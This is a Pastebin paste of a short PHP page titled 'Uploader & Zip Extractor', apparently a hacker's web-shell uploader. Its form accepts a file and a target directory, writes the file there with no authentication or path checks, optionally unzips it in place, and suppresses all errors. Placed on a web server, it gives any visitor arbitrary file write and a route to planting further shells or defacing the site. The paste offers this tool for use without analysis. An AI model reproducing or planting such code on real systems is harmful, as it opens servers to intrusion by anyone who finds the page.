Advertisement
zucxk

Uploader & Zip Extractor

Oct 7th, 2018
342
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.35 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Uploader & Zip Extractor</title>
  4. </head>
  5. <body style="text-align: center;padding-top: 70px;color: lime" bgcolor="black">
  6. <form method="post" enctype="multipart/form-data">
  7. <input type="file" name="upil"><br><br>
  8. <input type="checkbox" name="extract" value="Extract">Extract zip<br><br>
  9. Dir: <input type="text" name="dir" value="<?=getcwd();?>"><br><br>
  10. <input type="submit" name="upload" value="Submit"><br><br>
  11. </form>
  12. <?php
  13. error_reporting(0);
  14. set_time_limit(0);
  15.  
  16. if(isset($_POST['upload']) && !empty($_POST['dir'])) {
  17.     $slash = (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") ? "\\" : "/";
  18.     $dir = $_POST['dir'].$slash.$_FILES['upil']['name'];
  19.     if(move_uploaded_file($_FILES['upil']['tmp_name'], $dir)) {
  20.         echo "<font color=\"lime\">Upload success..<br> >> ".$dir."</font><br>";
  21.         if(isset($_POST['extract'])) {
  22.             $zip = new ZipArchive;
  23.             if($zip->open($_FILES['upil']['name']) === true) {
  24.                 if($zip->extractTo($_POST['dir'])) {
  25.                     echo "<font color=\"lime\">Extract success..</font>";
  26.                     $zip->close();
  27.                    // unlink($_FILES['upil']['name']);
  28.                 }else exit("<font color=\"red\">Extract failed..</font>");
  29.             }
  30.         }
  31.     }else exit("<font color=\"red\">Upload failed..</font>");
  32. }
  33. ?>
  34. </body>
  35. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement